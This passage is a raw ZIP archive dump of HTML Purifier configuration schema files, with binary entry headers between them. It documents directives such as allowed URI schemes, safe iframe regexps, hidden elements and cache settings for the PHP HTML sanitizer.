%Output.FlashCompat in order to generate Internet Explorer
compatibility code for your object tags.
</p>
--# vim: et sw=4 sts=4
PK j�$Zn2J"� � N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txtnu �[��� URI.SafeIframeRegexp
TYPE: string/null
VERSION: 4.4.0
DEFAULT: NULL
--DESCRIPTION--
<p>
A PCRE regular expression that will be matched against an iframe URI. This is
a relatively inflexible scheme, but works well enough for the most common
use-case of iframes: embedded video. This directive only has an effect if
%HTML.SafeIframe is enabled. Here are some example values:
</p>
<ul>
<li><code>%^http://www.youtube.com/embed/%</code> - Allow YouTube videos</li>
<li><code>%^http://player.vimeo.com/video/%</code> - Allow Vimeo videos</li>
<li><code>%^http://(www.youtube.com/embed/|player.vimeo.com/video/)%</code> - Allow both</li>
</ul>
<p>
Note that this directive does not give you enough granularity to, say, disable
all <code>autoplay</code> videos. Pipe up on the HTML Purifier forums if this
is a capability you want.
</p>
--# vim: et sw=4 sts=4
PK j�$Z^�
W_ _ P htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txtnu �[��� HTML.AllowedAttributes
TYPE: lookup/null
VERSION: 1.3.0
DEFAULT: NULL
--DESCRIPTION--
<p>
If HTML Purifier's attribute set is unsatisfactory, overload it!
The syntax is "tag.attr" or "*.attr" for the global attributes
(style, id, class, dir, lang, xml:lang).
</p>
<p>
<strong>Warning:</strong> If another directive conflicts with the
elements here, <em>that</em> directive will win and override. For
example, %HTML.EnableAttrID will take precedence over *.id in this
directive. You must set that directive to true before you can use
IDs at all.
</p>
--# vim: et sw=4 sts=4
PK j�$Zk"� � X htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txtnu �[��� Core.ConvertDocumentToFragment
TYPE: bool
DEFAULT: true
--DESCRIPTION--
This parameter determines whether or not the filter should convert
input that is a full document with html and body tags to a fragment
of just the contents of a body tag. This parameter is simply something
HTML Purifier can do during an edge-case: for most inputs, this
processing is not necessary.
--ALIASES--
Core.AcceptFullDocuments
--# vim: et sw=4 sts=4
PK j�$Z(��<� � L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txtnu �[��� HTML.CustomDoctype
TYPE: string/null
VERSION: 2.0.1
DEFAULT: NULL
--DESCRIPTION--
A custom doctype for power-users who defined their own document
type. This directive only applies when %HTML.Doctype is blank.
--# vim: et sw=4 sts=4
PK j�$Zy�- - K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txtnu �[��� AutoFormat.Custom
TYPE: list
VERSION: 2.0.1
DEFAULT: array()
--DESCRIPTION--
<p>
This directive can be used to add custom auto-format injectors.
Specify an array of injector names (class name minus the prefix)
or concrete implementations. Injector class must exist.
</p>
--# vim: et sw=4 sts=4
PK j�$Zs�ywJ J N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txtnu �[��� Cache.SerializerPath
TYPE: string/null
VERSION: 2.0.0
DEFAULT: NULL
--DESCRIPTION--
<p>
Absolute path with no trailing slash to store serialized definitions in.
Default is within the
HTML Purifier library inside DefinitionCache/Serializer. This
path must be writable by the webserver.
</p>
--# vim: et sw=4 sts=4
PK j�$Zh�� H htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txtnu �[��� Core.LexerImpl
TYPE: mixed/null
VERSION: 2.0.0
DEFAULT: NULL
--DESCRIPTION--
<p>
This parameter determines what lexer implementation can be used. The
valid values are:
</p>
<dl>
<dt><em>null</em></dt>
<dd>
Recommended, the lexer implementation will be auto-detected based on
your PHP-version and configuration.
</dd>
<dt><em>string</em> lexer identifier</dt>
<dd>
This is a slim way of manually overridding the implementation.
Currently recognized values are: DOMLex (the default PHP5
implementation)
and DirectLex (the default PHP4 implementation). Only use this if
you know what you are doing: usually, the auto-detection will
manage things for cases you aren't even aware of.
</dd>
<dt><em>object</em> lexer instance</dt>
<dd>
Super-advanced: you can specify your own, custom, implementation that
implements the interface defined by <code>HTMLPurifier_Lexer</code>.
I may remove this option simply because I don't expect anyone
to use it.
</dd>
</dl>
--# vim: et sw=4 sts=4
PK j�$Zy(EA4 4 T htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txtnu �[��� AutoFormat.PurifierLinkify
TYPE: bool
VERSION: 2.0.1
DEFAULT: false
--DESCRIPTION--
<p>
Internal auto-formatter that converts configuration directives in
syntax <a>%Namespace.Directive</a> to links. <code>a</code> tags
with the <code>href</code> attribute must be allowed.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��i$ $ G htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txtnu �[��� Core.Language
TYPE: string
VERSION: 2.0.0
DEFAULT: 'en'
--DESCRIPTION--
ISO 639 language code for localizable things in HTML Purifier to use,
which is mainly error reporting. There is currently only an English (en)
translation, so this directive is currently useless.
--# vim: et sw=4 sts=4
PK j�$Z�E\� � U htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txtnu �[��� Cache.SerializerPermissions
TYPE: int/null
VERSION: 4.3.0
DEFAULT: 0755
--DESCRIPTION--
<p>
Directory permissions of the files and directories created inside
the DefinitionCache/Serializer or other custom serializer path.
</p>
<p>
In HTML Purifier 4.8.0, this also supports <code>NULL</code>,
which means that no chmod'ing or directory creation shall
occur.
</p>
--# vim: et sw=4 sts=4
PK j�$Z )�9� � G htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ID.HTML5.txtnu �[��� Attr.ID.HTML5
TYPE: bool/null
DEFAULT: null
VERSION: 4.8.0
--DESCRIPTION--
In HTML5, restrictions on the format of the id attribute have been significantly
relaxed, such that any string is valid so long as it contains no spaces and
is at least one character. In lieu of a general HTML5 compatibility flag,
set this configuration directive to true to use the relaxed rules.
--# vim: et sw=4 sts=4
PK j�$ZB�; ; K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txtnu �[��� Output.TidyFormat
TYPE: bool
VERSION: 1.1.1
DEFAULT: false
--DESCRIPTION--
<p>
Determines whether or not to run Tidy on the final output for pretty
formatting reasons, such as indentation and wrap.
</p>
<p>
This can greatly improve readability for editors who are hand-editing
the HTML, but is by no means necessary as HTML Purifier has already
fixed all major errors the HTML may have had. Tidy is a non-default
extension, and this directive will silently fail if Tidy is not
available.
</p>
<p>
If you are looking to make the overall look of your page's source
better, I recommend running Tidy on the entire page rather than just
user-content (after all, the indentation relative to the containing
blocks will be incorrect).
</p>
--ALIASES--
Core.TidyFormat
--# vim: et sw=4 sts=4
PK j�$Za�!�
�
C htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txtnu �[��� URI.Munge
TYPE: string/null
VERSION: 1.3.0
DEFAULT: NULL
--DESCRIPTION--
<p>
Munges all browsable (usually http, https and ftp)
absolute URIs into another URI, usually a URI redirection service.
This directive accepts a URI, formatted with a <code>%s</code> where
the url-encoded original URI should be inserted (sample:
<code>http://www.google.com/url?q=%s</code>).
</p>
<p>
Uses for this directive:
</p>
<ul>
<li>
Prevent PageRank leaks, while being fairly transparent
to users (you may also want to add some client side JavaScript to
override the text in the statusbar). <strong>Notice</strong>:
Many security experts believe that this form of protection does not deter spam-bots.
</li>
<li>
Redirect users to a splash page telling them they are leaving your
website. While this is poor usability practice, it is often mandated
in corporate environments.
</li>
</ul>
<p>
Prior to HTML Purifier 3.1.1, this directive also enabled the munging
of browsable external resources, which could break things if your redirection
script was a splash page or used <code>meta</code> tags. To revert to
previous behavior, please use %URI.MungeResources.
</p>
<p>
You may want to also use %URI.MungeSecretKey along with this directive
in order to enforce what URIs your redirector script allows. Open
redirector scripts can be a security risk and negatively affect the
reputation of your domain name.
</p>
<p>
Starting with HTML Purifier 3.1.1, there is also these substitutions:
</p>
<table>
<thead>
<tr>
<th>Key</th>
<th>Description</th>
<th>Example <code><a href=""></code></th>
</tr>
</thead>
<tbody>
<tr>
<td>%r</td>
<td>1 - The URI embeds a resource<br />(blank) - The URI is merely a link</td>
<td></td>
</tr>
<tr>
<td>%n</td>
<td>The name of the tag this URI came from</td>
<td>a</td>
</tr>
<tr>
<td>%m</td>
<td>The name of the attribute this URI came from</td>
<td>href</td>
</tr>
<tr>
<td>%p</td>
<td>The name of the CSS property this URI came from, or blank if irrelevant</td>
<td></td>
</tr>
</tbody>
</table>
<p>
Admittedly, these letters are somewhat arbitrary; the only stipulation
was that they couldn't be a through f. r is for resource (I would have preferred
e, but you take what you can get), n is for name, m
was picked because it came after n (and I couldn't use a), p is for
property.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�p^� L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txtnu �[��� HTML.DefinitionRev
TYPE: int
VERSION: 2.0.0
DEFAULT: 1
--DESCRIPTION--
<p>
Revision identifier for your custom definition specified in
%HTML.DefinitionID. This serves the same purpose: uniquely identifying
your custom definition, but this one does so in a chronological
context: revision 3 is more up-to-date then revision 2. Thus, when
this gets incremented, the cache handling is smart enough to clean
up any older revisions of your definition as well as flush the
cache.
</p>
--# vim: et sw=4 sts=4
PK j�$Zg�o�� � F htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txtnu �[��� HTML.Doctype
TYPE: string/null
DEFAULT: NULL
--DESCRIPTION--
Doctype to use during filtering. Technically speaking this is not actually
a doctype (as it does not identify a corresponding DTD), but we are using
this name for sake of simplicity. When non-blank, this will override any
older directives like %HTML.XHTML or %HTML.Strict.
--ALLOWED--
'HTML 4.01 Transitional', 'HTML 4.01 Strict', 'XHTML 1.0 Transitional', 'XHTML 1.0 Strict', 'XHTML 1.1'
--# vim: et sw=4 sts=4
PK j�$Z1H��� � \ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txtnu �[��� Filter.ExtractStyleBlocks.Escaping
TYPE: bool
VERSION: 3.0.0
DEFAULT: true
ALIASES: Filter.ExtractStyleBlocksEscaping, FilterParam.ExtractStyleBlocksEscaping
--DESCRIPTION--
<p>
Whether or not to escape the dangerous characters <, > and &
as \3C, \3E and \26, respectively. This is can be safely set to false
if the contents of StyleBlocks will be placed in an external stylesheet,
where there is no risk of it being interpreted as HTML.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�f.�� � J htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txtnu �[��� URI.MakeAbsolute
TYPE: bool
VERSION: 2.1.0
DEFAULT: false
--DESCRIPTION--
<p>
Converts all URIs into absolute forms. This is useful when the HTML
being filtered assumes a specific base path, but will actually be
viewed in a different context (and setting an alternate base URI is
not possible). %URI.Base must be set for this directive to work.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��? M htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txtnu �[��� Output.FixInnerHTML
TYPE: bool
VERSION: 4.3.0
DEFAULT: true
--DESCRIPTION--
<p>
If true, HTML Purifier will protect against Internet Explorer's
mishandling of the <code>innerHTML</code> attribute by appending
a space to any attribute that does not contain angled brackets, spaces
or quotes, but contains a backtick. This slightly changes the
semantics of any given attribute, so if this is unacceptable and
you do not use <code>innerHTML</code> on any of your pages, you can
turn this directive off.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��
~v v N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txtnu �[��� Cache.DefinitionImpl
TYPE: string/null
VERSION: 2.0.0
DEFAULT: 'Serializer'
--DESCRIPTION--
This directive defines which method to use when caching definitions,
the complex data-type that makes HTML Purifier tick. Set to null
to disable caching (not recommended, as you will see a definite
performance degradation).
--ALIASES--
Core.DefinitionCache
--# vim: et sw=4 sts=4
PK j�$Zj�Ѵ1 1 M htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoopener.txtnu �[��� --# vim: et sw=4 sts=4
HTML.TargetNoopener
TYPE: bool
VERSION: 4.8.0
DEFAULT: TRUE
--DESCRIPTION--
If enabled, noopener rel attributes are added to links which have
a target attribute associated with them. This prevents malicious
destinations from overwriting the original window.
--# vim: et sw=4 sts=4
PK j�$Z2�~N N O htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txtnu �[��� Core.RemoveInvalidImg
TYPE: bool
DEFAULT: true
VERSION: 1.3.0
--DESCRIPTION--
<p>
This directive enables pre-emptive URI checking in <code>img</code>
tags, as the attribute validation strategy is not authorized to
remove elements from the document. Revert to pre-1.3.0 behavior by setting to false.
</p>
--# vim: et sw=4 sts=4
PK j�$ZE�i` S htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txtnu �[��� Core.RemoveScriptContents
TYPE: bool/null
DEFAULT: NULL
VERSION: 2.0.0
DEPRECATED-VERSION: 2.1.0
DEPRECATED-USE: Core.HiddenElements
--DESCRIPTION--
<p>
This directive enables HTML Purifier to remove not only script tags
but all of their contents.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�c��� � N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txtnu �[��� Attr.DefaultImageAlt
TYPE: string/null
DEFAULT: null
VERSION: 3.2.0
--DESCRIPTION--
This is the content of the alt tag of an image if the user had not
previously specified an alt attribute. This applies to all images without
a valid alt attribute, as opposed to %Attr.DefaultInvalidImageAlt, which
only applies to invalid images, and overrides in the case of an invalid image.
Default behavior with null is to use the basename of the src tag for the alt.
--# vim: et sw=4 sts=4
PK j�$Z��;Y� � Q htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txtnu �[��� HTML.Attr.Name.UseCDATA
TYPE: bool
DEFAULT: false
VERSION: 4.0.0
--DESCRIPTION--
The W3C specification DTD defines the name attribute to be CDATA, not ID, due
to limitations of DTD. In certain documents, this relaxed behavior is desired,
whether it is to specify duplicate names, or to specify names that would be
illegal IDs (for example, names that begin with a digit.) Set this configuration
directive to true to use the relaxed parsing rules.
--# vim: et sw=4 sts=4
PK j�$Z��r�� � M htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txtnu �[��� Attr.AllowedClasses
TYPE: lookup/null
VERSION: 4.0.0
DEFAULT: null
--DESCRIPTION--
List of allowed class values in the class attribute. By default, this is null,
which means all classes are allowed.
--# vim: et sw=4 sts=4
PK j�$Z:��� � H htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txtnu �[��� Filter.YouTube
TYPE: bool
VERSION: 3.1.0
DEFAULT: false
--DESCRIPTION--
<p>
<strong>Warning:</strong> Deprecated in favor of %HTML.SafeObject and
%Output.FlashCompat (turn both on to allow YouTube videos and other
Flash content).
</p>
<p>
This directive enables YouTube video embedding in HTML Purifier. Check
<a href="http://htmlpurifier.org/docs/enduser-youtube.html">this document
on embedding videos</a> for more information on what this filter does.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��~�� � K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txtnu �[��� HTML.DefinitionID
TYPE: string/null
DEFAULT: NULL
VERSION: 2.0.0
--DESCRIPTION--
<p>
Unique identifier for a custom-built HTML definition. If you edit
the raw version of the HTMLDefinition, introducing changes that the
configuration object does not reflect, you must specify this variable.
If you change your custom edits, you should change this directive, or
clear your cache. Example:
</p>
<pre>
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML', 'DefinitionID', '1');
$def = $config->getHTMLDefinition();
$def->addAttribute('a', 'tabindex', 'Number');
</pre>
<p>
In the above example, the configuration is still at the defaults, but
using the advanced API, an extra attribute has been added. The
configuration object normally has no way of knowing that this change
has taken place, so it needs an extra directive: %HTML.DefinitionID.
If someone else attempts to use the default configuration, these two
pieces of code will not clobber each other in the cache, since one has
an extra directive attached to it.
</p>
<p>
You <em>must</em> specify a value to this directive to use the
advanced API features.
</p>
--# vim: et sw=4 sts=4
PK j�$ZI��(? ? M htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txtnu �[��� Core.HiddenElements
TYPE: lookup
--DEFAULT--
array (
'script' => true,
'style' => true,
)
--DESCRIPTION--
<p>
This directive is a lookup array of elements which should have their
contents removed when they are not allowed by the HTML definition.
For example, the contents of a <code>script</code> tag are not
normally shown in a document, so if script tags are to be removed,
their contents should be removed to. This is opposed to a <code>b</code>
tag, which defines some presentational changes but does not hide its
contents.
</p>
--# vim: et sw=4 sts=4
PK j�$Z� 1 O htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txtnu �[��� Attr.ForbiddenClasses
TYPE: lookup
VERSION: 4.0.0
DEFAULT: array()
--DESCRIPTION--
List of forbidden class values in the class attribute. By default, this is
empty, which means that no classes are forbidden. See also %Attr.AllowedClasses.
--# vim: et sw=4 sts=4
PK j�$Z�
� � I htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txtnu �[��� CSS.Proprietary
TYPE: bool
VERSION: 3.0.0
DEFAULT: false
--DESCRIPTION--
<p>
Whether or not to allow safe, proprietary CSS values.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�~��
F htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txtnu �[��� HTML.Trusted
TYPE: bool
VERSION: 2.0.0
DEFAULT: false
--DESCRIPTION--
Indicates whether or not the user input is trusted or not. If the input is
trusted, a more expansive set of allowed tags and attributes will be used.
See also %CSS.Trusted.
--# vim: et sw=4 sts=4
PK j�$Z4�Rn� � K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txtnu �[��� HTML.MaxImgLength
TYPE: int/null
DEFAULT: 1200
VERSION: 3.1.1
--DESCRIPTION--
<p>
This directive controls the maximum number of pixels in the width and
height attributes in <code>img</code> tags. This is
in place to prevent imagecrash attacks, disable with null at your own risk.
This directive is similar to %CSS.MaxImgLength, and both should be
concurrently edited, although there are
subtle differences in the input format (the HTML max is an integer).
</p>
--# vim: et sw=4 sts=4
PK j�$Z �K� � L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txtnu �[��� Core.CollectErrors
TYPE: bool
VERSION: 2.0.0
DEFAULT: false
--DESCRIPTION--
Whether or not to collect errors found while filtering the document. This
is a useful way to give feedback to your users. <strong>Warning:</strong>
Currently this feature is very patchy and experimental, with lots of
possible error messages not yet implemented. It will not cause any
problems, but it may not help your users either.
--# vim: et sw=4 sts=4
PK j�$Z+ �@ @ \ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txtnu �[��� Filter.ExtractStyleBlocks.TidyImpl
TYPE: mixed/null
VERSION: 3.1.0
DEFAULT: NULL
ALIASES: FilterParam.ExtractStyleBlocksTidyImpl
--DESCRIPTION--
<p>
If left NULL, HTML Purifier will attempt to instantiate a <code>csstidy</code>
class to use for internal cleaning. This will usually be good enough.
</p>
<p>
However, for trusted user input, you can set this to <code>false</code> to
disable cleaning. In addition, you can supply your own concrete implementation
of Tidy's interface to use, although I don't know why you'd want to do that.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�8HM- - > htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ininu �[��� name = "HTML Purifier"
; vim: et sw=4 sts=4
PK j�$ZN%�� � H htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txtnu �[��� HTML.SafeEmbed
TYPE: bool
VERSION: 3.1.1
DEFAULT: false
--DESCRIPTION--
<p>
Whether or not to permit embed tags in documents, with a number of extra
security features added to prevent script execution. This is similar to
what websites like MySpace do to embed tags. Embed is a proprietary
element and will cause your website to stop validating; you should
see if you can use %Output.FlashCompat with %HTML.SafeObject instead
first.</p>
--# vim: et sw=4 sts=4
PK j�$Z���= = S htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txtnu �[��� AutoFormat.DisplayLinkURI
TYPE: bool
VERSION: 3.2.0
DEFAULT: false
--DESCRIPTION--
<p>
This directive turns on the in-text display of URIs in <a> tags, and disables
those links. For example, <a href="http://example.com">example</a> becomes
example (<a>http://example.com</a>).
</p>
--# vim: et sw=4 sts=4
PK j�$Z��? � I htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txtnu �[��� HTML.SafeIframe
TYPE: bool
VERSION: 4.4.0
DEFAULT: false
--DESCRIPTION--
<p>
Whether or not to permit iframe tags in untrusted documents. This
directive must be accompanied by a whitelist of permitted iframes,
such as %URI.SafeIframeRegexp, otherwise it will fatally error.
This directive has no effect on strict doctypes, as iframes are not
valid.
</p>
--# vim: et sw=4 sts=4
PK j�$Zv�jN� � F htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txtnu �[��� HTML.Allowed
TYPE: itext/null
VERSION: 2.0.0
DEFAULT: NULL
--DESCRIPTION--
<p>
This is a preferred convenience directive that combines
%HTML.AllowedElements and %HTML.AllowedAttributes.
Specify elements and attributes that are allowed using:
<code>element1[attr1|attr2],element2...</code>. For example,
if you would like to only allow paragraphs and links, specify
<code>a[href],p</code>. You can specify attributes that apply
to all elements using an asterisk, e.g. <code>*[lang]</code>.
You can also use newlines instead of commas to separate elements.
</p>
<p>
<strong>Warning</strong>:
All of the constraints on the component directives are still enforced.
The syntax is a <em>subset</em> of TinyMCE's <code>valid_elements</code>
whitelist: directly copy-pasting it here will probably result in
broken whitelists. If %HTML.AllowedElements or %HTML.AllowedAttributes
are set, this directive has no effect.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��ߝ: : E htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txtnu �[��� HTML.Parent
TYPE: string
VERSION: 1.3.0
DEFAULT: 'div'
--DESCRIPTION--
<p>
String name of element that HTML fragment passed to library will be
inserted in. An interesting variation would be using span as the
parent element, meaning that only inline tags would be allowed.
</p>
--# vim: et sw=4 sts=4
PK j�$Z|GZ7 7 W htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txtnu �[��� Core.EscapeNonASCIICharacters
TYPE: bool
VERSION: 1.4.0
DEFAULT: false
--DESCRIPTION--
This directive overcomes a deficiency in %Core.Encoding by blindly
converting all non-ASCII characters into decimal numeric entities before
converting it to its native encoding. This means that even characters that
can be expressed in the non-UTF-8 encoding will be entity-ized, which can
be a real downer for encodings like Big5. It also assumes that the ASCII
repetoire is available, although this is the case for almost all encodings.
Anyway, use UTF-8!
--# vim: et sw=4 sts=4
PK j�$Z�9FT- - U htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txtnu �[��� Attr.DefaultInvalidImageAlt
TYPE: string
DEFAULT: 'Invalid image'
--DESCRIPTION--
This is the content of the alt tag of an invalid image if the user had not
previously specified an alt attribute. It has no effect when the image is
valid but there was no alt attribute present.
--# vim: et sw=4 sts=4
PK j�$Zb� c c L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txtnu �[��� URI.MungeResources
TYPE: bool
VERSION: 3.1.1
DEFAULT: false
--DESCRIPTION--
<p>
If true, any URI munging directives like %URI.Munge
will also apply to embedded resources, such as <code><img src=""></code>.
Be careful enabling this directive if you have a redirector script
that does not use the <code>Location</code> HTTP header; all of your images
and other embedded resources will break.
</p>
<p>
<strong>Warning:</strong> It is strongly advised you use this in conjunction
%URI.MungeSecretKey to mitigate the security risk of an open redirector.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�G�� � [ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txtnu �[��� Core.RemoveProcessingInstructions
TYPE: bool
VERSION: 4.2.0
DEFAULT: false
--DESCRIPTION--
Instead of escaping processing instructions in the form <code><? ...
?></code>, remove it out-right. This may be useful if the HTML
you are validating contains XML processing instruction gunk, however,
it can also be user-unfriendly for people attempting to post PHP
snippets.
--# vim: et sw=4 sts=4
PK j�$ZO(�, , R htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txtnu �[��� Core.MaintainLineNumbers
TYPE: bool/null
VERSION: 2.0.0
DEFAULT: NULL
--DESCRIPTION--
<p>
If true, HTML Purifier will add line number information to all tokens.
This is useful when error reporting is turned on, but can result in
significant performance degradation and should not be used when
unnecessary. This directive must be used with the DirectLex lexer,
as the DOMLex lexer does not (yet) support this functionality.
If the value is null, an appropriate value will be selected based
on other configuration.
</p>
--# vim: et sw=4 sts=4
PK j�$Z^�Gf? ? V htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txtnu �[��� Core.AllowHostnameUnderscore
TYPE: bool
VERSION: 4.6.0
DEFAULT: false
--DESCRIPTION--
<p>
By RFC 1123, underscores are not permitted in host names.
(This is in contrast to the specification for DNS, RFC
2181, which allows underscores.)
However, most browsers do the right thing when faced with
an underscore in the host name, and so some poorly written
websites are written with the expectation this should work.
Setting this parameter to true relaxes our allowed character
check so that underscores are permitted.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�p�� � L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txtnu �[��� URI.AllowedSchemes
TYPE: lookup
--DEFAULT--
array (
'http' => true,
'https' => true,
'mailto' => true,
'ftp' => true,
'nntp' => true,
'news' => true,
'tel' => true,
)
--DESCRIPTION--
Whitelist that defines the schemes that a URI is allowed to have. This
prevents XSS attacks from using pseudo-schemes like javascript or mocha.
There is also support for the <code>data</code> and <code>file</code>
URI schemes, but they are not enabled by default.
--# vim: et sw=4 sts=4
PK j�$Zg��_ _ J htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txtnu �[��� CSS.AllowedFonts
TYPE: lookup/null
VERSION: 4.3.0
DEFAULT: NULL
--DESCRIPTION--
<p>
Allows you to manually specify a set of allowed fonts. If
<code>NULL</code>, all fonts are allowed. This directive
affects generic names (serif, sans-serif, monospace, cursive,
fantasy) as well as specific font families.
</p>
--# vim: et sw=4 sts=4
PK j�$Z{��� � P htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txtnu �[��� HTML.ForbiddenElements
TYPE: lookup
VERSION: 3.1.0
DEFAULT: array()
--DESCRIPTION--
<p>
This was, perhaps, the most requested feature ever in HTML
Purifier. Please don't abuse it! This is the logical inverse of
%HTML.AllowedElements, and it will override that directive, or any
other directive.
</p>
<p>
If possible, %HTML.Allowed is recommended over this directive, because it
can sometimes be difficult to tell whether or not you've forbidden all of
the behavior you would like to disallow. If you forbid <code>img</code>
with the expectation of preventing images on your site, you'll be in for
a nasty surprise when people start using the <code>background-image</code>
CSS property.
</p>
--# vim: et sw=4 sts=4
PK j�$Z2%��T T R htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txtnu �[��� HTML.ForbiddenAttributes
TYPE: lookup
VERSION: 3.1.0
DEFAULT: array()
--DESCRIPTION--
<p>
While this directive is similar to %HTML.AllowedAttributes, for
forwards-compatibility with XML, this attribute has a different syntax. Instead of
<code>tag.attr</code>, use <code>tag@attr</code>. To disallow <code>href</code>
attributes in <code>a</code> tags, set this directive to
<code>a@href</code>. You can also disallow an attribute globally with
<code>attr</code> or <code>*@attr</code> (either syntax is fine; the latter
is provided for consistency with %HTML.AllowedAttributes).
</p>
<p>
<strong>Warning:</strong> This directive complements %HTML.ForbiddenElements,
accordingly, check
out that directive for a discussion of why you
should think twice before using this directive.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�,0�� � T htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txtnu �[��� HTML.AllowedCommentsRegexp
TYPE: string/null
VERSION: 4.4.0
DEFAULT: NULL
--DESCRIPTION--
A regexp, which if it matches the body of a comment, indicates that
it should be allowed. Trailing and leading spaces are removed prior
to running this regular expression.
<strong>Warning:</strong> Make sure you specify
correct anchor metacharacters <code>^regex$</code>, otherwise you may accept
comments that you did not mean to! In particular, the regex <code>/foo|bar/</code>
is probably not sufficiently strict, since it also allows <code>foobar</code>.
See also %HTML.AllowedComments (these directives are union'ed together,
so a comment is considered valid if any directive deems it valid.)
--# vim: et sw=4 sts=4
PK j�$ZV
N N J htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txtnu �[��� HTML.Proprietary
TYPE: bool
VERSION: 3.1.0
DEFAULT: false
--DESCRIPTION--
<p>
Whether or not to allow proprietary elements and attributes in your
documents, as per <code>HTMLPurifier_HTMLModule_Proprietary</code>.
<strong>Warning:</strong> This can cause your documents to stop
validating!
</p>
--# vim: et sw=4 sts=4
PK j�$Z����F F T htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txtnu �[��� URI.OverrideAllowedSchemes
TYPE: bool
DEFAULT: true
--DESCRIPTION--
If this is set to true (which it is by default), you can override
%URI.AllowedSchemes by simply registering a HTMLPurifier_URIScheme to the
registry. If false, you will also have to update that directive in order
to add more schemes.
--# vim: et sw=4 sts=4
PK j�$Z�C�"� � [ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txtnu �[��� AutoFormat.RemoveEmpty.RemoveNbsp
TYPE: bool
VERSION: 4.0.0
DEFAULT: false
--DESCRIPTION--
<p>
When enabled, HTML Purifier will treat any elements that contain only
non-breaking spaces as well as regular whitespace as empty, and remove
them when %AutoFormat.RemoveEmpty is enabled.
</p>
<p>
See %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions for a list of elements
that don't have this behavior applied to them.
</p>
